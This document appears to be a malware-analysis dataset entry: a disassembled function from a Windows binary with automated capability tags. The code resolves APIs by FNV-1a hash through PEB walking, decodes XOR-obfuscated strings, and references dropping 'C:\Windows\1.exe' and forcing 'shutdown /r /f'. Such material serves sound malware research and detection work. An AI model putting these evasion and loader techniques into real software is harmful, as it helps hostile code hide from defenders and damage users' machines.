Function at 0x1400b7de0
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Delete file
Download and write a file
Download url
Encode data using xor
Enumerate processes
Get ntdll base address
Hash data using fnv
Receive and write data from server to client
Receive data
Resolve function by fnv-1a hash
Resolve function by parsing pe exports
Write file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x698
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x600], xmm7
movaps xmmword [rbp + 0x5f0], xmm6
mov qword [rbp + 0x5e8], 0xfffffffffffffffe
movabs rax, 0x5020746972697053
mov qword [rbp + 0x2d0], rax
mov dword [rbp + 0x2d8], 0x61766972
mov word [rbp + 0x2dc], 0x6574
mov byte [rbp + 0x2de], 0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x1400b7e50
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x1400b7e50
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x1400b7e85
test r11, r11
je 0x1400b7e50
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
movzx ebx, byte [rax + rsi]
test bl, bl
je 0x1400b7e80
add rsi, r10
mov edi, 0x811c9dc5
nop
movsx ebx, bl
xor ebx, edi
imul edi, ebx, 0x1000193
movzx ebx, byte [rsi]
inc rsi
test bl, bl
jne 0x1400b7ea0
cmp edi, 0x9a9264ad
jne 0x1400b7e80
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov edx, dword [rcx + rdx*4]
add rdx, rax
lea rcx, [rbp + 0x2d0]
call rdx
cmp byte [rbp + 0x2de], 0
jne 0x1400b7eef
xor byte [rbp + 0x2d0], 0x35
lea rcx, [0x14059db20]
mov edx, 6
call fcn.1400e1ec0
cmp byte [0x14059dd30], 0
je 0x1400b8059
movups xmm0, xmmword [0x140170557]
movaps xmmword [rbp + 0x300], xmm0
movabs rax, 0x436c6f6e114d5952
mov qword [rbp + 0x30f], rax
movups xmm0, xmmword [0x140170547]
movups xmm1, xmmword [0x140170537]
movups xmm2, xmmword [0x140170527]
xorps xmm2, xmmword [str.56789:_____ABCDCreateWindowExA]
xorps xmm1, xmmword [str.EFGHIJKLMNOPQRSTSpirit_Authentic___]
movaps xmmword [rbp + 0x2d0], xmm2
movaps xmmword [rbp + 0x2e0], xmm1
xorps xmm0, xmmword [str.UVWXYZ____abcdefghijkl56789:__C:_Windows_instaC:_Windows_1.exe___ABCDEFGHIJKLshutdown__r__f__Driver_Isnt_Load5678]
movaps xmmword [rbp + 0x2f0], xmm0
movaps xmm0, xmmword [rbp + 0x300]
xorps xmm0, xmmword [0x1401717d0]
movaps xmmword [rbp + 0x300], xmm0
xor byte [rbp + 0x310], 0x3d
xor byte [rbp + 0x311], 0x3e
xor byte [rbp + 0x312], 0x3f
xor byte [rbp + 0x313], 0x40
xor byte [rbp + 0x314], 0x41
xor byte [rbp + 0x315], 0x42
xor byte [rbp + 0x316], 0x43
lea rcx, [rbp + 0x2d0]
mov edx, reloc.WLDAP32.dll_Ordinal_50
call fcn.1400b58c0
cmp byte [rbp + 0x316], 0
jne 0x1400b828c
movaps xmm0, xmmword [rbp + 0x2d0]
movaps xmm1, xmmword [rbp + 0x2e0]
movaps xmm2, xmmword [rbp + 0x2f0]
movaps xmm3, xmmword [rbp + 0x300]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmmword [rbp + 0x2d0], xmm0
xorps xmm1, xmmword [str.EFGHIJKLMNOPQRSTSpirit_Authentic___]
xorps xmm2, xmmword [str.UVWXYZ____abcdefghijkl56789:__C:_Windows_instaC:_Windows_1.exe___ABCDEFGHIJKLshutdown__r__f__Driver_Isnt_Load5678]
movaps xmmword [rbp + 0x2e0], xmm1
movaps xmmword [rbp + 0x2f0], xmm2
xorps xmm3, xmmword [0x1401717d0]
movaps xmmword [rbp + 0x300], xmm3
xor byte [rbp + 0x310], 0x3d
xor byte [rbp + 0x311], 0x3e
xor byte [rbp + 0x312], 0x3f
xor byte [rbp + 0x313], 0x40
xor byte [rbp + 0x314], 0x41
xor byte [rbp + 0x315], 0x42
xor byte [rbp + 0x316], 0x43
jmp 0x1400b828c
mov dword [rbp + 0x2f0], 0x5839393c
movups xmm0, xmmword [0x14017057e]
movups xmm1, xmmword [0x14017056e]
xorps xmm1, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmmword [rbp + 0x2d0], xmm1
xorps xmm0, xmmword [str.EFGHIJKLMNOPQRSTSpirit_Authentic___]
movaps xmmword [rbp + 0x2e0], xmm0
mov byte [rbp + 0x2f0], WSAGetLastError
xor byte [rbp + 0x2f1], 0x56
xor byte [rbp + 0x2f2], 0x57
xor byte [rbp + 0x2f3], 0x58
lea rcx, [rbp + 0x2d0]
mov edx, 0x64
call fcn.1400b58c0
cmp byte [rbp + 0x2f3], 0
jne 0x1400b8109
movaps xmm0, xmmword [rbp + 0x2d0]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmm1, xmmword [rbp + 0x2e0]
movaps xmmword [rbp + 0x2d0], xmm0
xorps xmm1, xmmword [str.EFGHIJKLMNOPQRSTSpirit_Authentic___]
movaps xmmword [rbp + 0x2e0], xmm1
xor byte [rbp + 0x2f0], 0x55
xor byte [rbp + 0x2f1], 0x56
xor byte [rbp + 0x2f2], 0x57
xor byte [rbp + 0x2f3], 0x58
movups xmm0, xmmword [0x1401705b2]
movaps xmmword [rbp + 0x2f0], xmm0
movups xmm0, xmmword [0x1401705a2]
movaps xmmword [rbp + 0x2e0], xmm0
movups xmm0, xmmword [0x140170592]
movaps xmmword [rbp + 0x2d0], xmm0
mov dword [rbp + 0x2ff], 0x67140010
movups xmm0, xmmword [0x140170623]
movaps xmmword [rbp], xmm0
movabs rax, 0x4a27272e3224272a
mov qword [rbp + 0xe], rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
nop word [rax + rax]
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x1400b8170
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x1400b8170
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x1400b81a5
test r8d, r8d
je 0x1400b8170
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
movzx ebx, byte [rax + rsi]
test bl, bl
je 0x1400b81a0
add rsi, r10
mov edi, 0x811c9dc5
nop
movsx ebx, bl
xor ebx, edi
imul edi, ebx, 0x1000193
movzx ebx, byte [rsi]
inc rsi
test bl, bl
jne 0x1400b81c0
cmp edi, 0x23a979e4
jne 0x1400b81a0
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov r10d, dword [rcx + rdx*4]
add r10, rax
movaps xmm0, xmmword [0x1401717a0]
movaps xmmword [rbp], xmm0
movaps xmm0, xmmword [rbp + 0x2d0]
movaps xmm1, xmmword [rbp + 0x2e0]
movaps xmm2, xmmword [rbp + 0x2f0]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
xorps xmm1, xmmword [str.EFGHIJKLMNOPQRSTSpirit_Authentic___]
movaps xmmword [rbp + 0x2d0], xmm0
movaps xmmword [rbp + 0x2e0], xmm1
xorps xmm2, xmmword [str.UVWXYZ____abcdefghijkl56789:__C:_Windows_instaC:_Windows_1.exe___ABCDEFGHIJKLshutdown__r__f__Driver_Isnt_Load5678]
movaps xmmword [rbp + 0x2f0], xmm2
xor byte [rbp + 0x300], 0x65
mov dword [rbp + 0x10], 0x6f697461
xor byte [rbp + 0x301], 0x66
mov word [rbp + 0x14], WSASetLastError
xor byte [rbp + 0x302], 0x67
lea rdx, [rbp + 0x2d0]
mov r8, rbp
xor ecx, ecx
xor r9d, r9d
call r10
cmp byte [rbp + 0x302], 0
je 0x1400b8872
cmp byte [rbp + 0x15], 0
je 0x1400b88d0
lea rcx, [0x14059db20]
mov dl, 1
mov r8b, 1
call fcn.1400e5330
call fcn.1400b7650
movabs r12, 0x4c4b4a4948474645
test al, al
jne 0x1400b8c27
mov word [rbp + 0x2f0], 0x5675
movups xmm0, xmmword [0x1401705d5]
movups xmm1, xmmword [0x1401705c5]
xorps xmm1, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmmword [rbp + 0x2d0], xmm1
xorps xmm0, xmmword [str.EFGHIJKLMNOPQRSTSpirit_Authentic___]
movaps xmmword [rbp + 0x2e0], xmm0
mov byte [rbp + 0x2f0], reloc.WLDAP32.dll_Ordinal_32
xor byte [rbp + 0x2f1], 0x56
lea rcx, [rbp + 0x2d0]
mov edx, 0x64
call fcn.1400b58c0
cmp byte [rbp + 0x2f1], 0
jne 0x1400b8347
movaps xmm0, xmmword [rbp + 0x2d0]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmm1, xmmword [rbp + 0x2e0]
movaps xmmword [rbp + 0x2d0], xmm0
xorps xmm1, xmmword [str.EFGHIJKLMNOPQRSTSpirit_Authentic___]
movaps xmmword [rbp + 0x2e0], xmm1
xor byte [rbp + 0x2f0], 0x55
xor byte [rbp + 0x2f1], 0x56
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
nop dword [rax + rax]
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x1400b8360
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x1400b8360
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x1400b8395
test r11, r11
je 0x1400b8360
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
movzx ebx, byte [rax + rsi]
test bl, bl
je 0x1400b8390
add rsi, r10
mov edi, 0x811c9dc5
nop
movsx ebx, bl
xor ebx, edi
imul edi, ebx, 0x1000193
movzx ebx, byte [rsi]
inc rsi
test bl, bl
jne 0x1400b83b0
cmp edi, 0xe3b9876a
jne 0x1400b8390
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov edx, dword [rcx + rdx*4]
add rdx, rax
mov ecx, 0xfffffff6
call rdx
mov rsi, rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
nop word cs:[rax + rax]
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x1400b8410
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x1400b8410
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x1400b8445
test r11, r11
je 0x1400b8410
dec r8
mov r11d, r8d
mov edi, dword [r9 + r11*4]
movzx ebx, byte [rax + rdi]
test bl, bl
je 0x1400b8440
add rdi, r10
mov r14d, 0x811c9dc5
movsx ebx, bl
xor ebx, r14d
imul r14d, ebx, 0x1000193
movzx ebx, byte [rdi]
inc rdi
test bl, bl
jne 0x1400b8460
cmp r14d, 0xc09860af
jne 0x1400b8440
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov r8d, dword [rcx + rdx*4]
add r8, rax
lea rdx, [rbp + 0x530]
mov rcx, rsi
call r8
mov edx, dword [rbp + 0x530]
and edx, 0xfffffffb
mov dword [rbp + 0x530], edx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
nop word [rax + rax]
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd r8, dword [rax + 0x3c]
mov r8d, dword [rax + r8 + 0x88]
test r8, r8
je 0x1400b84d0
mov r9d, dword [rax + r8 + 0x18]
test r9, r9
je 0x1400b84d0
mov r10d, dword [rax + r8 + 0x20]
add r10, rax
lea r11, [rax + 1]
jmp 0x1400b8505
test rdi, rdi
je 0x1400b84d0
dec r9
mov edi, r9d
mov ebx, dword [r10 + rdi*4]
movzx r14d, byte [rax + rbx]
test r14b, r14b
je 0x1400b8500
add rbx, r11
mov r15d, 0x811c9dc5
nop word cs:[rax + rax]
movsx r14d, r14b
xor r14d, r15d
imul r15d, r14d, 0x1000193
movzx r14d, byte [rbx]
inc rbx
test r14b, r14b
jne 0x1400b8530
cmp r15d, 0x3074a12b
jne 0x1400b8500
mov ecx, dword [rax + r8 + 0x1c]
mov r8d, dword [rax + r8 + 0x24]
add rcx, rax
add r8, rax
movzx r8d, word [r8 + rdi*2]
mov r8d, dword [rcx + r8*4]
add r8, rax
mov rcx, rsi
call r8
xorps xmm0, xmm0
movaps xmmword [rbp], xmm0
mov qword [rbp + 0x10], 0
mov qword [rbp + 0x18], reloc.WS2_32.dll_ntohs
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
mov rsi, rbp
mov rdx, rsi
call fcn.1400bd540
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
nop
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x1400b85b0
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x1400b85b0
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x1400b85e5
test r11, r11
je 0x1400b85b0
dec r8
mov r11d, r8d
mov edi, dword [r9 + r11*4]
movzx ebx, byte [rax + rdi]
test bl, bl
je 0x1400b85e0
add rdi, r10
mov r14d, 0x811c9dc5
movsx ebx, bl
xor ebx, r14d
imul r14d, ebx, 0x1000193
movzx ebx, byte [rdi]
inc rdi
test bl, bl
jne 0x1400b8600
cmp r14d, 0xe3b9876a
jne 0x1400b85e0
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov edx, dword [rcx + rdx*4]
add rdx, rax
mov ecx, 0xfffffff6
call rdx
mov rdi, rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
nop word cs:[rax + rax]
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x1400b8660
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x1400b8660
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x1400b8695
test r11, r11
je 0x1400b8660
dec r8
mov r11d, r8d
mov ebx, dword [r9 + r11*4]
movzx r14d, byte [rax + rbx]
test r14b, r14b
je 0x1400b8690
add rbx, r10
mov r15d, 0x811c9dc5
nop word cs:[rax + rax]
movsx r14d, r14b
xor r14d, r15d
imul r15d, r14d, 0x1000193
movzx r14d, byte [rbx]
inc rbx
test r14b, r14b
jne 0x1400b86c0
cmp r15d, 0xc09860af
jne 0x1400b8690
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov r8d, dword [rcx + rdx*4]
add r8, rax
lea rdx, [rbp + 0x270]
mov rcx, rdi
call r8
or byte [rbp + 0x530], 4
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
nop word cs:[rax + rax]
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x1400b8730
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x1400b8730
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x1400b8765
test r11, r11
je 0x1400b8730
dec r8
mov r11d, r8d
mov ebx, dword [r9 + r11*4]
movzx r14d, byte [rax + rbx]
test r14b, r14b
je 0x1400b8760
add rbx, r10
mov r15d, 0x811c9dc5
nop word cs:[rax + rax]
movsx r14d, r14b
xor r14d, r15d
imul r15d, r14d, 0x1000193
movzx r14d, byte [rbx]
inc rbx
test r14b, r14b
jne 0x1400b8790
cmp r15d, 0x3074a12b
jne 0x1400b8760
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov r8d, dword [rcx + rdx*4]
add r8, rax
mov edx, dword [rbp + 0x270]
mov rcx, rdi
call r8
xorps xmm0, xmm0
movaps xmmword [rbp + 0x160], xmm0
movaps xmmword [rbp + 0x150], xmm0
mov rdi, qword [rbp + 0x10]
cmp qword [rbp + 0x18], 0x10
jb 0x1400b87f9
mov rsi, qword [rbp]
test rdi, rdi
js 0x1400bca0f
cmp rdi, 0xf
ja 0x1400b8829
mov qword [rbp + 0x160], rdi
mov qword [rbp + 0x168], reloc.WS2_32.dll_ntohs
movups xmm0, xmmword [rsi]
movaps xmmword [rbp + 0x150], xmm0
jmp 0x1400b8923
mov qword [rbp + 0x168], reloc.WS2_32.dll_ntohs
mov rax, rdi
or rax, 0xf
cmp rax, 0x17
mov ebx, reloc.WLDAP32.dll_Ordinal_22
cmovae rbx, rax
cmp rbx, 0xfff
jb 0x1400b88f4
lea rcx, [rbx + 0x28]
call fcn.140127dec
mov rcx, rax
add rcx, 0x27
and rcx, 0xffffffffffffffe0
mov qword [rcx - 8], rax
jmp 0x1400b8900
movaps xmm0, xmmword [rbp + 0x2d0]
movaps xmm1, xmmword [rbp + 0x2e0]
movaps xmm2, xmmword [rbp + 0x2f0]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
xorps xmm1, xmmword [str.EFGHIJKLMNOPQRSTSpirit_Authentic___]
movaps xmmword [rbp + 0x2d0], xmm0
movaps xmmword [rbp + 0x2e0], xmm1
xorps xmm2, xmmword [str.UVWXYZ____abcdefghijkl56789:__C:_Windows_instaC:_Windows_1.exe___ABCDEFGHIJKLshutdown__r__f__Driver_Isnt_Load5678]
movaps xmmword [rbp + 0x2f0], xmm2
xor byte [rbp + 0x300], 0x65
xor byte [rbp + 0x301], 0x66
xor byte [rbp + 0x302], 0x67
cmp byte [rbp + 0x15], 0
jne 0x1400b828c
movabs rax, 0x3c3b3a3938373635
xor qword [rbp], rax
movsd xmm0, qword [rbp + 8]
xorps xmm0, xmmword [0x1401717b0]
movss dword [rbp + 8], xmm0
jmp 0x1400b828c
lea rcx, [rbx + 1]
call fcn.140127dec
mov rcx, rax
mov qword [rbp + 0x150], rcx
mov qword [rbp + 0x160], rdi
mov qword [rbp + 0x168], rbx
inc rdi
mov rdx, rsi
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [0x14059db20]
lea rdx, [rbp + 0x150]
call fcn.1400e6670
cmp byte [0x14059dd30], 0
je 0x1400bca14
movups xmm0, xmmword [0x1401705f5]
movups xmmword [rbp + 0x5ce], xmm0
movups xmm0, xmmword [0x1401705e7]
movaps xmmword [rbp + 0x5c0], xmm0
movaps xmm0, xmmword [rbp + 0x5c0]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmmword [rbp + 0x5c0], xmm0
xor qword [rbp + 0x5d0], r12
xor byte [rbp + 0x5d8], 0x4d
xor byte [rbp + 0x5d9], 0x4e
xor byte [rbp + 0x5da], 0x4f
xor byte [rbp + 0x5db], 0x50
xor byte [rbp + 0x5dc], 0x51
xor byte [rbp + 0x5dd], 0x52
lea rsi, [rbp + 0x5c0]
mov rcx, rsi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov qword [rbp + 0x2d0], rsi
mov qword [rbp + 0x2d8], rax
call fcn.140128698
lea rsi, [rbp + 0x550]
lea r8, [rbp + 0x2d0]
mov rcx, rsi
mov edx, eax
call fcn.1400da360
cmp qword [rbp + 0x568], 8
jb 0x1400b89f0
mov rsi, qword [rbp + 0x550]
lea rdx, [rbp + 0x2d0]
mov rcx, rsi
mov r8d, 3
mov r9d, 0xffffffff
call fcn.140128370
xor esi, esi
cmp eax, 0x34
jg 0x1400b8a27
lea ecx, [rax - 2]
cmp ecx, 2
jb 0x1400b8a35
test eax, eax
jne 0x1400bcedf
mov sil, 1
jmp 0x1400b8a35
cmp eax, 0x35
je 0x1400b8a35
cmp eax, 0x7b
jne 0x1400bcedf
mov rax, qword [rbp + 0x568]
cmp rax, 8
jb 0x1400b8a81
mov rcx, qword [rbp + 0x550]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x1400b8a7c
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x1400bc7bf
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140127e30
cmp byte [rbp + 0x5dd], 0
je 0x1400b8a94
test sil, sil
je 0x1400b8ae3
jmp 0x1400b8be8
movaps xmm0, xmmword [rbp + 0x5c0]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmmword [rbp + 0x5c0], xmm0
xor qword [rbp + 0x5d0], r12
xor byte [rbp + 0x5d8], 0x4d
xor byte [rbp + 0x5d9], 0x4e
xor byte [rbp + 0x5da], 0x4f
xor byte [rbp + 0x5db], 0x50
xor byte [rbp + 0x5dc], 0x51
xor byte [rbp + 0x5dd], 0x52
test sil, sil
jne 0x1400b8be8
xorps xmm0, xmm0
movaps xmmword [rbp + 0x180], xmm0
movaps xmmword [rbp + 0x170], xmm0
mov rsi, qword [rbp + 0x10]
cmp qword [rbp + 0x18], 0x10
jb 0x1400b8b05
mov rdi, qword [rbp]
jmp 0x1400b8b08
mov rdi, rbp
test rsi, rsi
js 0x1400bce82
cmp rsi, 0xf
ja 0x1400b94dd
mov qword [rbp + 0x180], rsi
mov qword [rbp + 0x188], reloc.WS2_32.dll_ntohs
movups xmm0, xmmword [rdi]
movaps xmmword [rbp + 0x170], xmm0
cmp byte [rbp + 0x5dd], 0
je 0x1400b8b86
movaps xmm0, xmmword [rbp + 0x5c0]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmmword [rbp + 0x5c0], xmm0
xor qword [rbp + 0x5d0], r12
xor byte [rbp + 0x5d8], 0x4d
xor byte [rbp + 0x5d9], 0x4e
xor byte [rbp + 0x5da], 0x4f
xor byte [rbp + 0x5db], 0x50
xor byte [rbp + 0x5dc], 0x51
xor byte [rbp + 0x5dd], 0x52
lea rcx, [rbp + 0x5c0]
lea rdx, [rbp + 0x170]
call fcn.1400bd890
cmp byte [rbp + 0x5dd], 0
jne 0x1400b8be8
movaps xmm0, xmmword [rbp + 0x5c0]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmmword [rbp + 0x5c0], xmm0
xor qword [rbp + 0x5d0], r12
xor byte [rbp + 0x5d8], 0x4d
xor byte [rbp + 0x5d9], 0x4e
xor byte [rbp + 0x5da], 0x4f
xor byte [rbp + 0x5db], 0x50
xor byte [rbp + 0x5dc], 0x51
xor byte [rbp + 0x5dd], 0x52
mov rax, qword [rbp + 0x18]
cmp rax, 0xf
jbe 0x1400b8c27
mov rcx, qword [rbp]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x1400b8c22
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x1400bc7bf
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140127e30
call fcn.1400b6550
call fcn.140065b00
movups xmm0, xmmword [0x140170649]
movaps xmmword [rbp + 0x5d0], xmm0
movups xmm1, xmmword [0x140170639]
movaps xmmword [rbp + 0x5c0], xmm1
movabs rax, 0x5c2f222d76233326
mov qword [rbp + 0x5e0], rax
xorps xmm1, xmmword [str.56789:_____ABCDCreateWindowExA]
xorps xmm0, xmmword [str.EFGHIJKLMNOPQRSTSpirit_Authentic___]
movaps xmmword [rbp + 0x5c0], xmm1
movaps xmmword [rbp + 0x5d0], xmm0
movabs rax, 0x7478742e746573
mov qword [rbp + 0x5e0], rax
lea rsi, [rbp + 0x5c0]
mov rcx, rsi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov qword [rbp + 0x2d0], rsi
mov qword [rbp + 0x2d8], rax
call fcn.140128698
mov rsi, rbp
lea r8, [rbp + 0x2d0]
mov rcx, rsi
mov edx, eax
call fcn.1400da360
cmp qword [rbp + 0x18], 8
jb 0x1400b8ccc
mov rsi, qword [rbp]
lea rdx, [rbp + 0x2d0]
mov rcx, rsi
mov r8d, 3
mov r9d, 0xffffffff
call fcn.140128370
xor esi, esi
cmp eax, 0x34
jg 0x1400b8d03
lea ecx, [rax - 2]
cmp ecx, 2
jb 0x1400b8d11
test eax, eax
jne 0x1400bce87
mov sil, 1
jmp 0x1400b8d11
cmp eax, 0x35
je 0x1400b8d11
cmp eax, 0x7b
jne 0x1400bce87
mov rax, qword [rbp + 0x18]
cmp rax, 8
jb 0x1400b8d57
mov rcx, qword [rbp]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x1400b8d52
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x1400bc7bf
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140127e30
cmp byte [rbp + 0x5e7], 0
je 0x1400b8e65
test sil, sil
je 0x1400b8ea9
cmp byte [rbp + 0x5e7], 0
je 0x1400b8db1
movaps xmm0, xmmword [rbp + 0x5c0]
movaps xmm1, xmmword [rbp + 0x5d0]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmmword [rbp + 0x5c0], xmm0
xorps xmm1, xmmword [str.EFGHIJKLMNOPQRSTSpirit_Authentic___]
movaps xmmword [rbp + 0x5d0], xmm1
movabs rax, 0x5c5b5a5958575655
xor qword [rbp + 0x5e0], rax
mov rbx, qword [0x14059d168]
xorps xmm0, xmm0
movaps xmmword [rbp + 0x1a0], xmm0
movaps xmmword [rbp + 0x190], xmm0
lea rcx, [rbp + 0x5c0]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
test rax, rax
js 0x1400bca0a
mov rsi, rax
cmp rax, 0xf
ja 0x1400b8e1e
mov qword [rbp + 0x1a0], rsi
mov qword [rbp + 0x1a8], reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x190]
lea rdx, [rbp + 0x5c0]
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add rsi, rbp
add rsi, 0x190
jmp 0x1400b8f55
mov qword [rbp + 0x1a8], reloc.WS2_32.dll_ntohs
mov rax, rsi
or rax, 0xf
cmp rax, 0x17
mov r14d, reloc.WLDAP32.dll_Ordinal_22
cmovae r14, rax
cmp r14, 0xfff
jb 0x1400b8f1f
lea rcx, [r14 + 0x28]
call fcn.140127dec
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400b8f2b
movaps xmm0, xmmword [rbp + 0x5c0]
movaps xmm1, xmmword [rbp + 0x5d0]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmmword [rbp + 0x5c0], xmm0
xorps xmm1, xmmword [str.EFGHIJKLMNOPQRSTSpirit_Authentic___]
movaps xmmword [rbp + 0x5d0], xmm1
movabs rax, 0x5c5b5a5958575655
xor qword [rbp + 0x5e0], rax
test sil, sil
jne 0x1400b8d6d
mov rdx, qword [0x14059d168]
lea rcx, [rbp - 0x40]
call fcn.14000ae30
cmp byte [rbp + 0x5e7], 0
je 0x1400b8efd
movaps xmm0, xmmword [rbp + 0x5c0]
movaps xmm1, xmmword [rbp + 0x5d0]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmmword [rbp + 0x5c0], xmm0
xorps xmm1, xmmword [str.EFGHIJKLMNOPQRSTSpirit_Authentic___]
movaps xmmword [rbp + 0x5d0], xmm1
movabs rax, 0x5c5b5a5958575655
xor qword [rbp + 0x5e0], rax
lea rcx, [rbp + 0x5c0]
lea rdx, [rbp - 0x40]
call fcn.1400bd890
cmp byte [rbp + 0x5e7], 0
jne 0x1400b8d76
jmp 0x1400b8db1
lea rcx, [r14 + 1]
call fcn.140127dec
mov rdi, rax
mov qword [rbp + 0x190], rdi
mov qword [rbp + 0x1a0], rsi
mov qword [rbp + 0x1a8], r14
lea rdx, [rbp + 0x5c0]
mov rcx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add rsi, rdi
mov byte [rsi], 0
lea rsi, [rbp + 0x2d0]
lea rdx, [rbp + 0x190]
mov rcx, rsi
call fcn.1400b74a0
mov rcx, qword [rbp + 0x2d0]
mov rdx, qword [rbp + 0x2e8]
mov rax, qword gs:[0x60]
mov r8, qword [rax + 0x18]
add r8, 0x10
nop dword [rax]
mov r8, qword [r8]
mov rax, qword [r8 + 0x30]
movsxd r9, dword [rax + 0x3c]
mov r9d, dword [rax + r9 + 0x88]
test r9, r9
